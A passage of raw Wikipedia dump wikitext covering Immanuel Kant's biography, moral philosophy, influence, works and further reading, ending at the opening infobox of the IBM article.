  influenced       = [[Johann Fichte|Fichte]], [[Friedrich Schelling|Schelling]], [[Georg Hegel|Hegel]], [[Arthur Schopenhauer|Schopenhauer]], [[Charles Peirce|Peirce]], [[Friedrich Nietzsche|Nietzsche]], [[Ludwig Wittgenstein|Wittgenstein]], [[Edmund Husserl|Husserl]], [[Martin Heidegger|Heidegger]], [[Jean-Paul Sartre|Sartre]], [[Jürgen Habermas|Habermas]] and many more not listed here
|
  notable_ideas    = [[Categorical imperative]], [[Transcendental Idealism]], [[Synthetic proposition|Synthetic a priori]], [[Noumenon]] | 
}}

'''Immanuel Kant''' ([[April 22]], [[1724]] &amp;ndash; [[February 12]], [[1804]]), was a [[German people|German]] [[philosopher]] from Königsberg (Kaliningrad) in [[East Prussia]]. Kant is often considered one of the greatest, and is one of the most influential, thinkers of [[modern Europe]] and the last major philosopher of the [[Age of Enlightenment|Enlightenment]].

== Kant and his philosophy ==

Kant defined the Enlightenment, in the essay &quot;[[What is Enlightenment?|Answering the Question: What is Enlightenment?]]&quot;, as an age shaped by the motto, &quot;Dare to know&quot; (latin: ''[[Sapere aude]]'').  This involved thinking [[autonomy|autonomously]], free of the dictates of external [[authority]]. Kant's work served as a bridge between the [[Continental rationalism|Rationalist]] and [[Empiricism|Empiricist]] traditions of the [[18th century]]. He had a decisive impact on the [[Romanticism|Romantic]] and [[German Idealism|German Idealist]] philosophies of the [[19th century]]. His work has also been a starting point for many [[20th century]] philosophers.

The two interconnected foundations of what Kant called his &quot;[[critical philosophy]]&quot; of the &quot;[[Copernican revolution]]&quot; which he claimed to have wrought in philosophy were his [[epistemology]] (or [[theory of knowledge]]) of [[transcendental idealism|Transcendental Idealism]] and his [[moral philosophy]] of the autonomy of reason. These placed the active, rational human [[subject (philosophy)|subject]] at the center of the cognitive and moral worlds. With regard to knowledge, Kant argued that the rational order of the world as known by science could never be accounted for merely by the fortuitous accumulation of sense perceptions. It was instead the product of the rule-based activity of &quot;synthesis&quot;. This consisted of conceptual unification and integration carried out by the mind through [[concepts]] or the &quot;categories of the understanding&quot; operating on perceptions within [[space and time]], which are not concepts, but forms of sensibility that are necessary conditions for any possible experience. Thus the objective order of nature and the causal necessity that operates within it are products of the mind in its interaction with what lies outside of mind (the &quot;thing-in-itself&quot;). With regard to [[morality]], Kant argued that the source of the [[Goodness and value theory|good]] lies not in anything outside the [[human]] subject, either in [[nature]] or given by [[God]], but rather only in a good will. A good will is one that acts in accordance with universal moral laws that the autonomous human being freely gives itself. These laws obligate people to treat other human beings as ends rather than as means to an end.

These Kantian ideas have largely framed or influenced all subsequent philosophical discussion and analysis. The specifics of Kant's account generated immediate and lasting controversy. Nevertheless, his theses that the [[mind]] itself makes a constitutive contribution to its [[knowledge]], which is therefore subject to limits that cannot be overcome, that morality is rooted in human freedom and acting autonomously is to act according to rational moral principles, and that philosophy involves self-critical activity, irrevocably reshaped philosophy.

==Biography==
====Birth and youth====
Immanuel Kant - who was baptized as &quot;Emanuel&quot; but later changed his name to &quot;Immanuel&quot; - was born in [[1724]] in [[Königsberg]], [[Germany]] (now [[Kaliningrad]], [[Russia]]). He spent his entire life in and around his hometown, the capital of [[East Prussia]] at that time.  His father was a German craftsman from [[Memel]], Germany's northeasternmost city (now [[Klaipėda]], [[Lithuania]]).  In his youth, Kant was a solid, albeit unspectacular, student.  He was raised in a [[Pietism|Pietist]] household, a then popular [[Lutheran]] reform movement that stressed intense religious devotion, personal humility and a literal reading of [[The Bible]].  Consequently, Kant received a stern education -- strict, punitive, and disciplinary -- that favored Latin and religious instruction over mathematics and science.  Kant later described this period as a time of unhappiness.

====The young scholar====
Kant enrolled in the University of Königsberg in [[1740]], at the age of 16.  He studied the philosophy of [[Gottfried Leibniz|Leibniz]] and [[Christian Wolff (philosopher)|Wolff]] under [[Martin Knutsen]], a [[rationalism|rationalist]] who was also familiar with the developments of British philosophy and science and who introduced Kant to the new mathematical physics of [[Isaac Newton|Newton]].  His father's stroke and subsequent death in [[1746]] interrupted his studies.  Kant became a private tutor in the smaller towns surrounding Königsberg, but continued his scholarly research.  [[1749]] saw the publication of his first philosophical work, ''[[Thoughts on the True Estimation of Living Forces]]''.  Kant published several more works on scientific topics and became a university lecturer in [[1755]].  From this point on, Kant turned increasingly to philosophical issues, although he would continue to write on the sciences throughout his life.  In the early 1760s, Kant produced a series of important works in philosophy.  ''[[The False Subtlety of the Four Syllogistic Figures]]'', a work in logic, was published in [[1762]]. Two more works appeared the following year: ''[[Attempt to Introduce the Concept of Negative Magnitudes into Philosophy]]'' and ''[[The Only Possible Argument in Support of a Demonstration of the Existence of God]]''.  In [[1764]], Kant wrote ''[[Observations on the Feeling of the Beautiful and Sublime]]'' and then was second to [[Moses Mendelssohn]] in a Berlin Academy prize competition with his ''[[Inquiry Concerning the Distinctness of the Principles of Natural Theology and Morality]]'' (often referred to as &quot;the Prize Essay&quot;).  In [[1770]], at the age of 45, Kant was finally appointed Professor of Logic and Metaphysics at the University of Königsberg.  Kant wrote his ''[[Inaugural Dissertation]]'' in defense of this appointment.  This work saw the emergence of several central themes of his mature work, including the distinction between the faculties of intellectual thought and sensible receptivity.

====The critical turn====
At the age of 46, Kant was an established scholar and an increasingly influential philosopher.  Much was expected of him.  In response to a letter from his student, [[Markus Herz]], Kant came to recognize that in the ''[[Inaugural Dissertation]]'', he had failed to account for the relation and connection between our sensible and intellectual faculties. He also credited [[David Hume]] with awakening him from &quot;dogmatic slumber&quot; (circa 1770).  Kant would not publish another work in philosophy for the next eleven years. 

Kant spent his silent decade working on a solution to the problems posed.  When he emerged from his silence in [[1781]], the result was the ''[[Critique of Pure Reason]]''.  Although now uniformly recognized as one of the greatest works in the history of philosophy, this ''Critique'' was largely ignored upon its initial publication.  The book was long, over 800 pages in the original German edition, and written in a dry, scholastic style.  It received few reviews, and these failed to recognize the ''Critique'''s revolutionary nature.  Kant was disappointed with the work's reception.  Recognizing the obscurity of the original treatise, he wrote the ''[[Prolegomena to any Future Metaphysics]]'' in [[1783]] as a summary of its main views and he encouraged his friend, [[Johann Schultz]], to publish a brief commentary of the ''Critique of Pure Reason''.

Kant's reputation gradually rose through the [[1780]]s, sparked by a series of important works: the [[1784]] essay, &quot;[[What is Enlightenment?|Answer to the Question: What is Enlightenment?]]&quot;; [[1785|1785's]] ''[[Groundwork of the Metaphysics of Morals]]'' (his first work on moral philosophy); and, from [[1786]], ''[[Metaphysical Foundations of Natural Science]]''.  But Kant's fame ultimately arrived from an unexpected source.  In [[1786]], [[Karl Reinhold]] began to publish a series of public letters on the Kantian philosophy.  In these letters, Reinhold framed Kant's philosophy as a response to the central intellectual controversy of the era: the [[Pantheism Dispute]].  [[Friedrich Jacobi]] had accused the recently deceased [[Lessing]] (a distinguished philosopher of the period) of [[Spinoza|Spinozism]].  Such a charge, tantamount to atheism, was vigorously denied by Lessing's friend [[Moses Mendelssohn]], and a bitter public dispute arose between them.  The controversy gradually escalated into a general debate over the values of the [[Enlightenment]] and of reason itself.  Reinhold maintained in his letters that Kant's ''Critique of Pure Reason'' could settle this dispute by defending the authority and bounds of reason.  Reinhold's letters were widely read and made Kant the most famous philosopher of his era.

====Kant's later work====
Kant published a second edition of the ''[[Critique of Pure Reason]]'' in [[1787]], heavily revising the first parts of the book.  Most of his subsequent work focused on other areas of philosophy.  He continued to develop his moral philosophy, notably in [[1788]]'s ''[[Critique of Practical Reason]]'' (known as the second ''Critique'') and [[1797|1797's]] ''[[Metaphysics of Morals]]''.  The [[1790]] ''[[Critique of Judgment]]'' (the third ''Critique'') applied the Kantian system to aesthetics and [[teleology]].  He also wrote a number of semi-popular essays on history, religion, politics and other topics.  These works were well received by Kant's contemporaries and confirmed his preeminent status in eighteenth century philosophy.  There were several journals devoted solely to defending and criticizing the Kantian philosophy.  But despite his success, philosophical trends were moving in another direction.  Many of Kant's most important disciples (including [[Karl Leonhard Reinhold|Reinhold]], [[Jakob Sigismund Beck|Beck]] and [[Fichte]]) transformed the Kantian position into increasingly radical forms of idealism.  This marked the emergence of [[German Idealism]].  Kant was against these developments and publicly denounced Fichte in an open letter in [[1799]].  It was one of his final philosophical acts.  Kant's health, long poor, turned for the worst and he died in [[1804]].  His unfinished final work, the fragmentary ''[[Opus Postumum]]'', was (as its title suggests) published posthumously.

====Erroneous beliefs====
A variety of popular beliefs have arisen concerning Kant's biography and legend.  It is often held, for instance, that Kant was a late bloomer, that he only became an important philosopher in his mid-50s after rejecting his earlier views.  While it is true that Kant wrote his greatest works relatively late in life, there is a tendency to underestimate the value of his earlier works.  Recent Kant scholarship has devoted more attention to these &quot;pre-critical&quot; writings and has recognized a degree of continuity with his mature work.

Another common myth concerns Kant's personal mannerisms.  It is often held that Kant lived a very strict and predictable life, leading to the oft-repeated story that neighbors would set their clocks by his daily walks.  Again, this is only partly true.  While still young, Kant was very gregarious and, though he never married, he remained fond of dinner parties through most of his life.  Only later in his life, under the influence of his friend, the English merchant [[Joseph Green (18th century)|Joseph Green]], did Kant adopt a more regulated lifestyle{{fact}}.

==Kant's moral philosophy==
Kant developed his moral philosophy in three works: ''[[Groundwork of the Metaphysic of Morals]]'' [http://eserver.org/philosophy/kant/metaphys-of-morals.txt] ([[1785]]), ''[[Critique of Practical Reason]]'' [http://eserver.org/philosophy/kant/critique-of-practical-reaso.txt] ([[1788]]), and ''Metaphysics of Morals'' [http://eserver.org/philosophy/kant/intro-to-metaphys-of-morals.txt] ([[1798]]).

The three works proceed by a method of taking the &quot;rational [, obvious, and everyday] knowledge of the moral to the philosophical [knowledge of the moral]&quot; in the ''Groundwork'' - and also making necessary the moral works that followed; and then, in those latter works, following a method of using &quot;practical reason&quot;, based only upon things about which reason can tell us, and not deriving any principles from experience, to reach conclusions which are able to be applied the world of experience (in the second part of ''The Metaphysic of Morals'').

Kant is known for his theory that there is a single moral obligation, which he called the [[Categorical Imperative]], which is derived from the concept of duty. It is from the Categorical Imperative that all other moral obligations are generated, and by which all moral obligations can be tested. He believed that the moral law is a principle of [[reason]] itself, and is not based on contingent facts about the world, such as what would make us happy. Accordingly, he believed that moral obligation applies to all and only rational agents.

A categorical imperative is an unconditional obligation; that is, it has the force of an obligation regardless of our will or desires. (Contrast this with [[hypothetical imperative]].) Kant's categorical imperative was formulated in three ways, which he believed to be roughly equivalent (although many commentators do not):

*The first formulation (Formula of Universal Law) says: &quot;Act as if the maxim of thy action were to become by thy will a universal [[law of nature]].&quot;

*The second formulation (Formula of Humanity) says: &quot;Act that you use humanity, whether in your own person or in the person of any other, always at the same time as an end, never merely as a means.&quot;

*The third formulation (Formula of Autonomy) is a synthesis of the first two. It says that we should so act that we may think of ourselves as [[legislating]] universal laws through our maxims, in a possible [[Kingdom of Ends]]. We may think of ourselves as such autonomous legislators only insofar as we follow our own laws.

===Example of the first formulation:===
The most popular interpretation of the first formulation is called the &quot;universalizability test.&quot; An agent's maxim, according to Kant, is his &quot;subjective principle of volition&quot; &amp;mdash; that is, what the agent believes is his reason to act. The universalizability test has five steps:

# Find the agent's maxim.  The maxim is an action paired with its motivation.  Example: &quot;I will lie for personal benefit.&quot;  Lying is the action, the motivation is to get what you desire.  Paired together they form the maxim.
# Imagine a possible world in which everyone in a similar position to the real-world agent followed that maxim.
# Decide whether any contradictions or irrationalities arise in the possible world as a result of following the maxim.
# If a contradiction or irrationality arises, acting on that maxim is not allowed in the real world.
# If there is no contradiction, then acting on that maxim is permissible, and in some instances required.

(For a modern parallel, see [[John Rawls]]' hypothetical situation, the [[original position]].)

==Belief in God==
Kant stated his belief in God in [[Critique of Pure Reason]] and made a moral argument for God although such arguments have been criticized. See [[Argument from morality]] for more details.

==Influence==
Kant's most powerful and revolutionary effect on philosophy, which changed forever its meaning, modes of thinking, and language(s), was not &quot;[[positivism|positive]]&quot; in the sense of producing specific assertions about the world that have become accepted truths, as in the positive sciences. Rather it was &quot;[[anti-positivism|negative]]&quot; in the sense of restricting the areas about which such knowledge was possible &amp;mdash; by making philosophy &quot;critical&quot; and self-critical. Kant's idea of &quot;critique&quot; was to examine the legitimate scope of the mind or of knowledge. In this regard the &quot;critique of pure reason&quot;, which was also the title of his most important work (see below and [[Critique of Pure Reason]]), meant examining what certain and legitimate knowledge human beings could arrive at simply by thinking about things independently of experience and perception, with his conclusion being: not very much.  Prior to Kant, the entire mode of functioning of most philosophy was drawing conclusions about the nature of the universe, of God, or of the soul simply by logical thinking about them, by what seemed to make sense through &quot;a priori&quot; thinking, i.e. thinking on purely logical grounds. For this sort of thinking it ''must'' be the case that God or the universe is this way or that way, because it makes sense logically. But, in the history of philosophy, for every philosophical theory that God or the universe or the mind ''must'' be one way, some philosopher arrived at another theory stating that it ''must'' be precisely the opposite way. Kant called this unproductive, unresolvable, back-and-forth, dogmatic thinking the &quot;dialectic of pure reason&quot;. That is, it was an inevitable consequence of trying to arrive at knowledge on purely logical grounds independently of experience or of scientific knowledge based on the evidence of the senses. For Kant, this entire style of pursuing knowledge was bankrupt and must be abandoned. According to Kant, philosophy must henceforth operate within the narrow &quot;limits of pure reason&quot; and recognize that most positive knowledge could come only through the sciences based on sense perception and not through [[metaphysics]], which was about things of which we could never have direct sense perception.

Some important philosophers and schools of thought, such as [[German Idealism|German Idealists]], [[neo-Thomists]] and other theologically oriented philosophers, and [[Heidegger]]'s &quot;fundamental ontology&quot; have refused to accept the limitations that Kant imposed upon philosophy and attempted to come up with new metaphysical systems about &quot;the Absolute&quot;, &quot;God&quot;, or &quot;Being&quot; , although even these philosophers have generally tried doing so by taking Kant into account.  Over-all, however, post-Kantian philosophy has never been able to return to the style of thinking, arguing, and asserting conclusions that characterized philosophy before him. In this way, Kant was correct in asserting that he had brought about a &quot;Copernican revolution&quot; in philosophy. According to Kant, [[Copernicus]]'s revolution in the understanding of the [[cosmos]] lay in taking the position of the observer into account. This explained why it looks as though the sun revolves around the earth even though in reality the earth revolves around the sun. Taking the observer's position into account prevents the unaware projection of the observer's perception or point of view onto the picture of the universe. Kant saw his own Copernican revolution in philosophy, analogously, as consisting in taking the position of the knower into account and thereby preventing the unaware projection of the knower's way of thinking (&quot;pure reason&quot;) onto the philosophical map of reality. According to Kant, it was philosophers unawarely doing this that had created the illusions of metaphysics that dominated the prior history of philosophy. Kant saw this revolution, in turn, as being part of &quot;Enlightenment&quot; (as conceived of in the [[Age of Enlightenment]]) and the creation of an enlightened citizenry and society freed from dogmatism and irrational authority.

Kant's wider influence not only in philosophy but in the humanities and social sciences generally lies in the central concept of the ''Critique of Pure Reason'', namely that it is the synthesizing, unifying, ''constitutive'' activity of the subject of knowledge that is at the basis of our having an ordered world of experience and of the objects of knowledge themselves. This idea has spread out through many intellectual disciplines in which it has manifested itself in different forms, for example:
:*from [[Marx]]'s notion, in [[social theory]], of the constitutive role of human [[Work|labor]] in the creation of [[history]] and [[society]]
:* through [[Freud]]'s notion, in [[psychology]], that the activity of the [[ego]] produces the [[reality principle]]
:* through [[Durkheim]]'s notion, in [[sociology]], that society creates [[collective consciousness]] through [[social category|social categories]]
:* through [[Noam Chomsky|Chomsky]]'s notion, in [[linguistics]], of [[transformational grammar]]
:* to current notions, in several of the [[humanities]] and [[social sciences]], regarding the &quot;[[social construction of reality]]&quot; ([[Peter_L._Berger|Berger]] &amp; [[Thomas Luckmann|Luckmann]], 1966).
In this way Kant's conception of synthesizing, ordering mental activity has become central to modern intellectual culture.



==Tomb==
[[Image:Kant's tombstone Kaliningrad.jpeg|right|thumb|150px|The inscription upon Kant's tomb near the [[Kant Russian State University]].]]

His [[tomb]] and its [[pillar]]ed enclosure outside the cathedral in Kaliningrad are some of the few artifacts of German times preserved by the [[Soviets]] after they conquered the city in [[1945]]. A replica of a statue of Kant that stood in front of the university was donated by a German entity in 1991 and placed on the original pediment.  Near his tomb is the following inscription in [[German language|German]] and [[Russian language|Russian]], taken from the &quot;Conclusion&quot; of his ''Critique of Practical Reason&quot;
&lt;blockquote&gt;Two things fill the mind with ever new and increasing admiration and awe, the more often and perseveringly my thinking engages itself with them: the starry heavens above me and the moral law within me.&lt;/blockquote&gt;

==Works and links to texts, in English and German==
{{wikisource author}}
* ([[1749]]) ''[[Thoughts on the True Estimation of Living Forces]]'' (''Gedanken von der wahren Schätzung der lebendigen Kräfte'')
* ([[1755]]) ''[[Universal Natural History and Theory of Heaven]]'' (''Allgemeine Naturgeschichte und Theorie Des Himmels'' [http://www.mala.bc.ca/~johnstoi/kant2g.htm])
* ([[1762]]) ''[[The False Subtlety of the Four Syllogistic Figures]]'' (''Die falsche Spitzfindigkeit der vier syllogistischen Figuren'')
* ([[1763]]) ''[[The Only Possible Argument in Support of a Demonstration of the Existence of God]]'' (''Der einzig mögliche Beweisgrund zu einer Demonstration des Daseins Gottes'')
* ([[1763]]) ''[[Attempt to Introduce the Concept of Negative Magnitudes into Philosophy]]'' (''Versuch den Begriff der negativen Größen in die Weltweisheit einzuführnen'')
* ([[1764]]) ''[[Observations on the Feeling of the Beautiful and Sublime]]'' (''Beobachtungen über das Gefühl des Schönen und Erhabenen'')
* ([[1764]]) ''[[Inquiry Concerning the Distinctness of the Principles of Natural Theology and Morality]]'' (the ''Prize Essay'') (''Untersuchungen über die Deutlichkeit der Grundsätze der natürlichen Theologie und der Moral'')
* ([[1770]]) ''[[Inaugural Dissertation]]'' (''De mundi sensibilis atque intelligibilis forma et principiis'')
* ([[1781]]) First edition of the ''[[Critique of Pure Reason]]'' [http://www.hkbu.edu.hk/~ppp/cpr/toc.html] (''Kritik der reinen Vernunft'' [http://gutenberg.spiegel.de/kant/krva/krva.htm])
* ([[1783]]) ''[[Prolegomena to any Future Metaphysics]]'' [http://eserver.org/philosophy/kant-prolegomena.txt] (''Prolegomena zu einer jeden künftigen Metaphysik'')
* ([[1784]]) &quot;[[What Is Enlightenment?|An Answer To The Question: What Is Enlightenment?]]&quot; (''Beantwortung der Frage: Was ist Aufklärung?'' [http://www.prometheusonline.de/heureka/philosophie/klassiker/kant/aufklaerung.htm])
* ([[1784]]) ''[[Idea For A Universal History With A Cosmopolitan Purpose]]'' (''Idee zu einer allgemeinen Geschichte in weltbürgerlicher Absicht'')
* ([[1785]]) ''[[Groundwork of the Metaphysics of Morals]]'' (''Grundlegung zur Metaphysik der Sitten'')
* ([[1786]]) ''[[Metaphysical Foundations of Natural Science]]'' (''Metaphysische Anfangsgründe der Naturwissenschaft'')
* ([[1787]]) Second edition of the ''[[Critique of Pure Reason]]'' [http://www.hkbu.edu.hk/~ppp/cpr/toc.html] (''Kritik der reinen Vernunft'' [http://gutenberg.spiegel.de/kant/krvb/krvb.htm])
* ([[1788]]) ''[[Critique of Practical Reason]]'' [http://eserver.org/philosophy/kant/critique-of-practical-reaso.txt] (''Kritik der praktischen Vernunft'' [http://gutenberg.spiegel.de/kant/kritikpr/kritikpr.htm])
* ([[1790]]) ''[[Critique of Judgment]]'' (''Kritik der Urteilskraft'' [http://wikisource.org/wiki/Kritik_der_Urteilskraft])
* ([[1793]]) ''[[Religion Within the Limits of Reason Alone]]'' (''Religion innerhalb der Grenzen der bloßen Vernunft'') [http://www.marxists.org/reference/subject/ethics/kant/religion/religion-within-reason.htm]
* ([[1795]]) ''[[Perpetual Peace]]'' [http://www.mtholyoke.edu/acad/intrel/kant/kant1.htm] (''Zum ewigen Frieden'' [http://www.uni-kassel.de/fb5/frieden/themen/Theorie/kant.html])
* ([[1797]]) ''[[Metaphysics of Morals]]'' (''Metaphysik der Sitten'')
* ([[1798]]) ''[[Anthropology from a Pragmatic Point of View]]'' (''Anthropologie in pragmatischer Hinsicht'')
* ([[1798]]) ''[[The Contest of Faculties]]'' [http://chnm.gmu.edu/revolution/d/564/] (''Der Streit der Fakultäten'' [http://gutenberg.spiegel.de/kant/streit/streit.htm])
* ([[1800]]) ''[[Kant's Logik|Logic]]'' (''Logik'')
* ([[1803]]) ''[[On Pedagogy]]'' (''Über Pädagogik'' [http://www1.uni-bremen.de/~kr538/kantpaed.html])
* ([[1804]]) ''[[Opus Postumum]]''
* (More German works at [http://de.wikisource.org/wiki/Immanuel_Kant Wikisource])
* (More German works at [http://gutenberg.spiegel.de/autoren/kant.htm Project Gutenberg])
* (More English works at [http://etext.library.adelaide.edu.au/aut/kant_immanuel.html The University of Adelaide Library])

==Quotes== &lt;!--This data was moved from the old Infobox Philosopher template on September 9.  Please move this to Wikiquote--&gt;
''Two things fill the mind with ever new, and increasing admiration and awe, the more often and steadily we reflect upon them: the starry heavens above me and the moral law within me.''&lt;br&gt;-Epitaph (from [[Critique of Practical Reason]] 5:161)

&quot;If we attend to the course of conversation in mixed companies consisting not merely of scholars and subtle reasoners but also of business people or women, we notice that besides storytelling and jesting they have another entertainment, namely, arguing.&quot;

==External links==
* [http://ethics.acusd.edu/theories/kant Kant &amp; Ethics]
* [http://naks.ucsd.edu/ North American Kant Society (NAKS)] (many helpful links!)
* [http://www.hkbu.edu.hk/~ppp/Kant.html Kant on the Web]
* [http://comp.uark.edu/~rlee/semiau96/kantlink.html Kant Links]
* [http://www.friesian.com/kant.htm Epistemology and Metaphysics]
* [http://www.phil.upenn.edu/~cubowman/kant.html Kant and the project of enlightenment]
* [http://www.e-text.org/text/ Several Kant's works in clickable pdf]
* [http://plato.stanford.edu/contents.html#k Stanford Encyclopedia of Philosophy (many entries on Kant)]
* {{gutenberg author|id=Kant, |name=Immanuel Kant}}
* [http://www.philos.msu.ru/community/staff/vasiliev/Kant_Interview/Kant_Interview.html International Kant Interview - 2004]
* [http://www.earlymoderntexts.com Readable versions of Prolegomena and Groundwork for Met.of Morals]

==See also==
{{Wikiquotepar|Immanuel Kant}}
{{commons|Immanuel Kant}}
*[[Kantianism]]
*[[Neo-Kantianism]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Kant Russian State University]]

==References and further reading==
Any suggestion of further reading on Kant has to take cognizance of the fact that his work has dominated philosophy like no other figure after him.  Nevertheless, several guideposts can be made out.  In Germany, the most important contemporary interpreter of Kant and the movement of German Idealism which he began is Dieter Henrich, who has some work available in English.  P.F. Strawson's &quot;The Bounds  of Sense&quot; (1969) played a significant role in determing the contemporary reception of Kant in England and America.  At the same time, many key features of his position have been widely rejected.  More recent interpreters of note in the English-speaking world include Henry Allison, Paul Guyer, Robert Pippin, Rudolf Makkreel, and Béatrice Longuenesse. 

===General introductions to Kant's thought===
*Broad C. D. ''Kant: An Introduction''. Cambridge University Press, 1978. ISBN 0521217555, ISBN 0521292654 

===Biography and historical context===
*Beck, Lewis White. &quot;Early German Philosophy: Kant and his Predecessors.&quot; Cambridge, MA: Harvard University Press, 1969.
::''a survey of Kant's intellectual background''
*Beiser, Frederick C. &quot;The Fate of Reason: German Philosophy from Kant to Fichte.&quot; Cambridge, MA: Harvard University Press, 1987.
*Kuehn, Manfred.  ''Kant: A Biography.''  Cambridge University Press, 2001. ISBN 0521497043 
*Pinkard, Terry. ''German philosophy, 1760-1860: The Legacy of Idealism.''  Cambridge, 2002.
*Sassen, Brigitte. ed. ''Kant's Early Critics: The Empiricist Critique of the Theoretical Philosophy'', 2000.

===Collections of essays===
*Guyer, Paul. ed. ''The Cambridge Companion to Kant.''  Cambridge University Press, 1992. ISBN 0521365872, ISBN 0521367689
::''an excellent collection of papers that covers most areas of Kant's thought''
*Mohanty, J.N. and Robert W. Shahan. eds. ''Essays on Kant's Critique of Pure Reason.'' Norman : University of Oklahoma Press, 1982. ISBN 0806117826
*''Proceedings of the International Kant Congresses.'' Several Congresses (numbered) edited by various publishers.
*Förster, Eckart ed. &quot;Kant's Transcendental Deductions: The Three 'Critiques' and the 'Opus Postumum.'&quot; Stanford: Stanford University Press, 1989.
::''includes an important essay by Dieter Henrich'
*Cohen, Ted and Paul Guyer eds. ''Essays in Kant's Aesthetics. Chicago: University of Chicago Press, 1982.
::''essays on Kant's Critique of Judgment''
*Phillips, Dewi et al. ''Kant and Kierkegaard on Religion.'' Palgrave Macmillian, 2000, ISBN 0312232349
::''A collection of essays about Kantian religion and its influence on Kierkegaardian and contemporary philosophy of religion.''

===On Kant's theoretical philosophy===
*Allison, Henry.  ''Kant’s Transcendental Idealism.''  New Haven : Yale University Press, 1983, 2004. ISBN 0300036299, ISBN 0300030029
::''very influential defense of Kant's idealism, recently revised''
*Ameriks, Karl.  &quot;Kant's Theory of Mind: An Analysis of the Paralogisms of Pure Reason.&quot; Oxford: Clarendon Press, 1982.
::''one of the first detailed studies of the Dialectic in English''
*Gram, Moltke S. ''The Transcendental Turn: The Foundation of Kant's Idealism.''  Gainesville : University Presses of Florida, 1984. ISBN 0813007879
*Guyer, Paul. &quot;Kant and the Claims of Knowledge.&quot; Cambridge, UK: Cambridge University Press, 1987.
::''a modern defense of the view that Kant's theoretical philosophy is a &quot;patchwork&quot; of ill-fitting arguments''
*Henrich, Dieter. ''The Unity of Reason: Essays on Kant’s Philosophy.'' Edited and with an introduction by Richard L. Velkley ; translated by Jeffrey Edwards ... [et al.].  Harvard University Press, 1994. ISBN 0674929055 
*Kemp Smith, Norman. &quot;A Commentary to Kant's ‘Critique of Pure Reason.’&quot; London: Macmillan, 1930.
::''a somewhat dated, but influential commentary on the first Critique, recently reprinted''
*Kitcher, Patricia. &quot;Kant's Transcendental Psychology.&quot; New York: Oxford University Press, 1990.
*Longuenesse, Béatrice. ''Kant and the Capacity to Judge.'' Princeton University Press, 1998. ISBN 0691043485
::''argues that the notion of judgment provides the key to understanding the overall argument of the first Critique''
*Melnick, Arthur. &quot;Kant's Analogies of Experience.&quot; Chicago: University of Chicago Press, 1973.
::''an important study of Kant's Analogies, including his defense of the principle of causality''
*Paton, H. J. &quot;Kant’s Metaphysic of Experience: A Commentary on the First Half of the Kritik der reinen Vernunft.&quot; Two volumes. London: Macmillan, 1936.
::''an extensive study of Kant's theoretical philosophy''
*Pippin, Robert B. Kant's Theory of Form: An Essay on the Critique of Pure Reason. New Haven: Yale University Press, 1982.
::''an influential examination of the formal character of Kant's work''
*Strawson, P.F. ''The Bounds of Sense: an essay on Kant's Critique of Pure Reason.''  Routledge, 1989.
::''the work that revitalized the interest of contemporary analytic philosophers in Kant''
*Wolff, Robert Paul. ''Kant's theory of mental activity: A commentary on the transcendental analytic of the Critique of Pure Reason.'' Cambridge, Mass.: Harvard University Press, 1963.
::''a detailed and influential commentary on the first part of the Critique of Pure Reason''

===On Kant's practical philosophy===
*Banham, Gary. ''Kant's Practical Philosophy: From Critique to Doctrine'' Palgrave Macmillan, 2003.
*Michalson, Gordon E. ''Fallen Freedom: Kant on Radical Evil and Moral Regeneration.'' Cambridge University Press, 1990.
*Michalson, Gordon E. ''Kant and the Problem of God.'' Blackwell Publishers, 1999.
*Rawls, John. ''Lectures on the History of Moral Philosophy. '' Cambridge, 2000.
*Wolff, Robert Paul. ''The Autonomy of Reason: A Commentary on Kant's Groundwork of the Metaphysic of Morals.'' New York:  HarperCollins, 1974. ISBN 0061317926.

===On Kant's aesthetics===
*Guyer, Paul. ''Kant and the Claim of Taste''. Cambridge MA and London, 1979.
*Crawford, Donald. ''Kant's Aesthetic Theory''. Wisconsin, 1974.
*Makkreel, Rudolf, ''Imagination and Interpretation in Kant''. Chicago, 1990.
*McCloskey, Mary. ''Kant's Aesthetic.'' SUNY, 1987.
*Schaper, Eva. ''Studies in Kant's Aesthetics''. Edinburgh, 1979.

===Other work on Kant===
*Caygill, Howard. ''A Kant Dictionary''. Oxford, UK; Cambridge, Mass., USA : Blackwell Reference, 1995. ISBN 0631175342, ISBN 0631175350
::''a very useful resource''

===Contemporary philosophy with a Kantian influence===
* Korsgaard, Christine. ''Creating the Kingdom of Ends.'' Cambridge ; New York, NY, USA : Cambridge University Press, 1996. ISBN 0521496446, ISBN 0521499623 (pbk.)
::''not a commentary, but a defense of a broadly Kantian approach to ethics''
* McDowell, John.  ''Mind and World.''  Harvard University Press, 1994. ISBN 0674576098
::''offers a Kantian solution to a dilemma in contemporary epistemology regarding the relation between mind and world''
* Wood, Allen. ''Kant's Ethical Thought.'' Cambridge ; New York, NY, USA : Cambridge University Press, 1999. ISBN: 052164836X
:: A comprehensive, in depth study of Kant's ethics, with emphasis on formula of humanity as most accurate formulation of the categorical imperative (according to similar arguments as Korsgaard). 

[[Category:1724 births|Kant, Immanuel]]
[[Category:1804 deaths|Kant, Immanuel]]
[[Category:Natives of Kaliningrad Oblast|Kant, Immanuel]]
[[Category:18th century philosophers|Kant, Immanuel]]
[[Category:Deontological ethics|Kant, Immanuel]]
[[Category:Philosophers|Kant, Immanuel]]
[[Category:Enlightenment philosophers|Kant, Immanuel]]
[[Category:German philosophers|Kant, Immanuel]]
[[Category:Idealists|Kant, Immanuel]]
[[Category:Kantian philosophers|Kant, Immanuel]]
[[Category:Kantianism]]
[[Category:Philosophy of sexuality|Kant, Immanuel]]
[[Category:Polymaths|Kant, Immanuel]]

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    </revision>
  </page>
  <page>
    <title>IBM</title>
    <id>14632</id>
    <revision>
      <id>41870056</id>
      <timestamp>2006-03-02T06:47:43Z</timestamp>
      <contributor>
        <username>Garglebutt</username>
        <id>284140</id>
      </contributor>
      <comment>and operating and net income and fix arrow to template</comment>
      <text xml:space="preserve">:''Big Blue redirects here. For the movie, see [[The Big Blue]].'' {{otheruses}}
{{Infobox_Company |
  company_name   = International Business Machines |
  company_type   = Public ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=IBM IBM]) |
  company_logo   = [[Image:IBM_logo.svg|180px|IBM logo]] |
  company_slogan = On Demand Business |
  foundation     = [[1888]], incorporated [[1911]] |
  location       = [[Armonk, New York]], [[USA]] |
